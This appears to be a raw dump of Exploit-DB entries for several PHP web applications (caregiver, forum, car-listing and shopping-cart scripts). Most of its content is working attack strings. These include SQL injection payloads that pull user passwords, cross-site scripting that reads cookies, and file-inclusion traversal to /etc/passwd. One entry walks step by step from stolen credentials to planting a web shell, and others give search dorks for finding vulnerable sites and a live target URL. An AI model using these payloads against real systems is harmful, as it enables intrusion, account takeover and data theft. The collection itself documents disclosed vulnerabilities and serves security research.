deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41186
Description: Caregiver Script 2.57 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-30
Author: Kaan KAMIS

Exploit:
Exploit Title: Caregiver Script v2.57 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/caregiver-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Caregiver Script 2.51 is the best solution to launch a portal for hiring people for babysitting and other care giving services in a hassle free manner.

Type of vulnerability:

An SQL Injection vulnerability in Caregiver Script allows attackers to read
arbitrary administrator data from the database.

Vulnerable Url:

http://locahost/searchJob.php?sitterService=1[payload]
Vulnerable parameter : sitterService
Mehod : GET
Exploit-DB #10658
Description: caricatier 2.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-25
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : caricatier 2.5 Cross Site Scripting Vulnerability                       |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : ГҲГҮГ“ГҠГҺГҸГҮГЈ Г“ГҹГ‘ГӯГҲГҠ ГҮГЎГҹГҮГ‘ГӯГҹГҮГҠГӯГ‘ ГҮГЎГҮГ•ГҸГҮГ‘ : Version 2.5 /http://www.php-ar.com/|
| # Tested on: windows SP2 FranГ§ais V.(Pnx2 2.0) + Lunix FranГ§ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/caricatier/comment.php?op=CatID%3D0&CatName=1<ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>&CaricatierID=1
| 2- http://server/caricatier/comment.php?op=CatID%3D0&CatName=indoushka@hotmail.com[PII_REDACTED]8860&CaricatierID=1
| 3- http://server/caricatier/view_caricatier.php?op=open&CatID=1%00"'><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>&CaricatierID=1&CatName=indoushka@hotmail.com[PII_REDACTED]8860
| 4- http://server/caricatier/view_caricatier.php?op=open&CatID=0&CaricatierID=1&CatName=1<img+src=http://server/jpg.jpg+onload=alert[PII_REDACTED]60)>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #25885
Description: CarLine Forum Russian Board 4.2 - 'edit_msg.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
        
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
        
Forum Russian Board 4.2 is reported to be affected. 

edit_msg.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]="><script>alert("XSS");</script>
edit_msg.php?m_id=1&t=1&mid=1&cat=3&name_ig_array[1]="><script>alert("XSS");</script>
Exploit-DB #25891
Description: CarLine Forum Russian Board 4.2 - 'edit_msg.php?name_ig_array1[1]' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
              
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
              
Forum Russian Board 4.2 is reported to be affected. 

edit_msg.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]=666' union select password,password from frb_users /*
Exploit-DB #25895
Description: CarLine Forum Russian Board 4.2 - 'enter.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
                  
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
                  
Forum Russian Board 4.2 is reported to be affected. 

enter.php?sid='
enter.php?sid=1&passw='
Exploit-DB #25894
Description: CarLine Forum Russian Board 4.2 - 'in.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
                 
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
                 
Forum Russian Board 4.2 is reported to be affected. 

in.php?name_new=1'&subject_new=1&message=1&email_new=1&t=1
in.php?name_new=1&subject_new=1&message=1&email_new=1'&t=1
Exploit-DB #25893
Description: CarLine Forum Russian Board 4.2 - 'line.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
                
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
                
Forum Russian Board 4.2 is reported to be affected. 

line.php?board_user_id=1&board_user_cook=1&table_sql[users]=[SQL]
line.php?table_sql[online]=[SQL]
line.php?table_sql[online]=[DB].[TBL]&board_user_name_us=1'
line.php?table_sql[online]=[DB].[TBL]&board_user_name_us=1&url=1'
Exploit-DB #25892
Description: CarLine Forum Russian Board 4.2 - 'memory.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
               
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
               
Forum Russian Board 4.2 is reported to be affected. 

memory.php?board_user_cook=1&board_user_id=1&board_user_passw=1&table_sql[users]=[SQL]
memory.php?board_user_cook=1&board_user_id=1&board_user_passw=1&table_sql[users]=[DB].[TBL]&table_sql[banlist]=[SQL]
Exploit-DB #25876
Description: CarLine Forum Russian Board 4.2 - 'menu_footer.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info

Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.

Forum Russian Board 4.2 is reported to be affected. 

menu_footer.php?rows_all=><script>alert("XSS");</script>
menu_footer.php?color_fon_info=><script>alert("XSS");</script>
menu_footer.php?target=><script>alert("XSS");</script>
menu_footer.php?patch_images="><script>alert("XSS");</script>
menu_footer.php?text_poisk_form="><script>alert("XSS");</script>
Exploit-DB #25878
Description: CarLine Forum Russian Board 4.2 - 'menu_header.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
  
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
  
Forum Russian Board 4.2 is reported to be affected. 

menu_header.php?board_user_name=<script>alert("XSS");</script>
menu_header.php?board_user_name=1&color_panel_edit=><script>alert("XSS");</script>
menu_header.php?target=><script>alert("XSS");</script>
menu_header.php?patch_images="><script>alert("XSS");</script>
menu_header.php?font_color_panel=><script>alert("XSS");</script>
menu_header.php?body_color_forum=><script>alert("XSS");</script>
Exploit-DB #25886
Description: CarLine Forum Russian Board 4.2 - 'menu_header.php?table_sql' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
         
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
         
Forum Russian Board 4.2 is reported to be affected. 

menu_header.php?table_sql[users]=[SQL_CODE]
Exploit-DB #25879
Description: CarLine Forum Russian Board 4.2 - 'menu_tema.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
   
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
   
Forum Russian Board 4.2 is reported to be affected. 

menu_tema.php?body_color_forum=><script>alert("XSS");</script>
menu_tema.php?width_forum=><script>alert("XSS");</script>
menu_tema.php?cat=><script>alert("XSS");</script>
Exploit-DB #25884
Description: CarLine Forum Russian Board 4.2 - 'new.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
       
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
       
Forum Russian Board 4.2 is reported to be affected. 

new.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]="><script>alert("XSS");</script>
new.php?m_id=1&t=1&mid=1&cat=3&name_ig_array[1]="><script>alert("XSS");</script>
Exploit-DB #25890
Description: CarLine Forum Russian Board 4.2 - 'new.php?name_ig_array1[1]' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
             
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
             
Forum Russian Board 4.2 is reported to be affected. 

new.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]=666' union select password,password from frb_users /*
Exploit-DB #25882
Description: CarLine Forum Russian Board 4.2 - 'reply.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
      
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
      
Forum Russian Board 4.2 is reported to be affected. 

reply.php?m_id=1&t=1&mid=1&cat=3&name_ig_array[1]="><script>alert("XSS");</script>
reply.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]="><script>alert("XSS");</script>
Exploit-DB #25889
Description: CarLine Forum Russian Board 4.2 - 'reply.php?name_ig_array1[1]' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
            
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
            
Forum Russian Board 4.2 is reported to be affected. 

reply.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]=666' union select password,password from frb_users /*
Exploit-DB #25888
Description: CarLine Forum Russian Board 4.2 - 'reply_in.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
           
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
           
Forum Russian Board 4.2 is reported to be affected. 

reply_in.php?subject_reply=1&name_reply=1'&message=1&email_reply=1&t=1
reply_in.php?subject_reply=1&name_reply=1&message=1&email_reply=1'&t=1
Exploit-DB #25880
Description: CarLine Forum Russian Board 4.2 - 'search.php?text_poisk' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
    
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
    
Forum Russian Board 4.2 is reported to be affected. 

search.php?text_poisk=<script>alert("XSS");</script>
Exploit-DB #25887
Description: CarLine Forum Russian Board 4.2 - 'set.php?name_ig_array[1]' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
          
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
          
Forum Russian Board 4.2 is reported to be affected. 

set.php?name_ig_array[1]=' OR 1=1/*
Exploit-DB #25881
Description: CarLine Forum Russian Board 4.2 - 'set.php?name_ig_array[]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
     
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
     
Forum Russian Board 4.2 is reported to be affected. 

set.php?name_ig_array[]=<script>alert("XSS");</script>
Exploit-DB #25877
Description: CarLine Forum Russian Board 4.2 - IMG Tag Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-23
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/14045/info
 
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
 
Forum Russian Board 4.2 is reported to be affected. 

[img]wink.gif onerror=javascript:alert(document.cookie);[/img]
Exploit-DB #32388
Description: Cars & Vehicle - 'page.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-17
Author: Hussin X

Exploit:
source: https://www.securityfocus.com/bid/31214/info

The Cars & Vehicle script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

www.example.com/Script/page.php?lnkid=-1/**/UNION/**/SELECT/**/1,1,1,1,concat_ws(user(),version(),database()),1/*
Exploit-DB #26751
Description: Cars Portal 1.1 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15747/info

Cars Portal is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.1 and earlier are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=[SQL]
http://www.example.com/index.php?page=en_Home&car=[SQL]
Exploit-DB #5857
Description: Carscripts Classifieds - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-18
Author: Stack

Exploit:
Carscripts Classifieds Sql INjection

By Stack
Home v4-team.com
###########################################
[+] : you can see the Result in 'Title'
[+] : Open the source page to see the result
###########################################
poc : http://site.co.il/index.php?cat=-1/**/UNION/**/SELECT/**/concat(char(58),user(),version(),database()),2,3/*

live demo
http://www.carscripts.com/cars/index.php?cat=-1/**/UNION/**/SELECT/**/concat(char(58),user(),version(),database()),2,3/*

# milw0rm.com [2008-06-18]
Exploit-DB #32504
Description: Cart Engine 3.0.0 - 'task.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2014-03-25
Author: LiquidWorm

Exploit:

Cart Engine 3.0.0 (task.php) Local File Inclusion Vulnerability


Vendor: C97net
Product web page: http://www.c97.net
Affected version: 3.0.0

Summary: Open your own online shop today with Cart Engine! The
small, yet powerful and don't forget, FREE shopping cart based
on PHP & MySQL. Unique features of Cart Engine include: CMS engine
based on our qEngine, product options, custom fields, digital
products, search engine friendly URL, user friendly administration
control panel, easy to use custom fields, module expandable, sub
products, unsurpassed flexibility...and more!

Desc: Cart Engine suffers from an authenticated file inclusion
vulnerability (LFI) when input passed thru the 'run' parameter to
task.php is not properly verified before being used to include files.
This can be exploited to include files from local resources with
directory traversal attacks.


Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5181
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5181.php


Dork #1: intitle:powered by c97.net
Dork #2: intitle:powered by qEngine
Dork #3: intitle:powered by Kemana.c97.net
Dork #4: intitle:powered by Cart2.c97.net



07.03.2014

---


http://localhost/ce3_0/admin/task.php?run=../../../../../../windows/win.ini
Exploit-DB #17633
Description: Cart Software - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-06
Author: hosinn

Exploit:
=========================================================
sabadkharid CMS Multiple Vulnerabilities
=========================================================

# Exploit Title: sabadkharid CMS Multiple Vulnerabilities
# Date: 8/07/2011
# Author: hosinn
# Software Link: http://www.sabadkharid.com
# Version: professional edition
# Platform / Tested on: Multiple
# Category: webapplications
# Code : N/A
# Download Video: http://hosinn.persiangig.com/video/sabadkharid.rar
# BUG Sql Injectin : ###############################################################

1 > cart.php have sql injection bug .

2 > go to http://target.com/cart.php?shopping_cart&add2cart=10'


# Expolite : #######################################################################

1 > get version => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select (select @@version) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/

2 > get username => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select (select login) from SKH_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/

 > output like 'admin1' and username:admin

3 > get password => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select (select cust_password) from SKH_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/

 > output like 'pass1' and username:pass
 
4 > Then Login To Site

# BUG LFI : ######################################################################

1 > Go To Http://site.com/admin.php

2 > Go To Http://site.com/admin.php?tab=conf⊂=template&edit=../../../cart.php

3 > Then Copy Your Shell script & Save

4 > Find Your Shell in Http://site.com/cart.php


#############################################################################
Our Website : http://www.nopotm.ir
Special Thanks to : H-SK33PY , Immortal Boy , BigB4NG , N3td3v!l ,
Blacksun , Drosera^Cqq47 , NOPO , zilli0o0n & all iranian NOPO members
#############################################################################
Exploit-DB #21989
Description: Cartweaver 3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-10-15
Author: HaxOr

Exploit:
# Exploit Title: Cartweaver 3 LFI exploit
# Google Dork: inurl:cw3/admin/ inurl:/admin/helpfiles/ ~ Be creative!
# Date: 13.10.2012
# Exploit Author: HaxOr
# Vendor Homepage: https://www.cartweaver.com
# Version: 3
# Tested on: Windows 7 and Windows 8

Vulnerability is in the Help Documents located in /admin/helpfiles/.
=============================
AdminHelp.php ~ lines 42-44
=============================

<?php /* Help File Body Include, populated by helpFileName variable */
$helpFileName = isset($_GET["helpFileName"]) ? $_GET["helpFileName"] : "AdminHome.php";
include("help_" . $helpFileName);?>

Few sites affected:

http://server/cw3/admin/helpfiles/AdminHelp.php?helpFileName=a/../../../../../../../../../../../../etc/passwd


Greetings to all members of Team INTRA<3
Exploit-DB #49469
Description: CASAP Automated Enrollment System 1.0 - 'First Name' Stored XSS
Type: webapps
Platform: php
Date: 2021-01-25
Author: Anita Gaud

Exploit:
# Exploit Title: CASAP Automated Enrollment System 1.0 - 'First Name' Stored XSS
# Exploit Author: Anita Gaud
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1
# Tested on Windows
# CVE: CVE-2021-3294

*XSS IMPACT:*
1: Steal the cookie
2: User redirection to a malicious website

Vulnerable Parameters: First Name

*Steps to reproduce:*
1: Log in with a valid username and password. Navigate to the Users tab (http://localhost/Final/Final/users.php) on the left-hand side.
2: Add the new user and then add the payload <script>alert(document.cookie)</script>in First Name parameter and click on save button. Post Saved successfully.
3: Now, XSS will get stored and trigger every time and the attacker can steal authenticated users' cookies.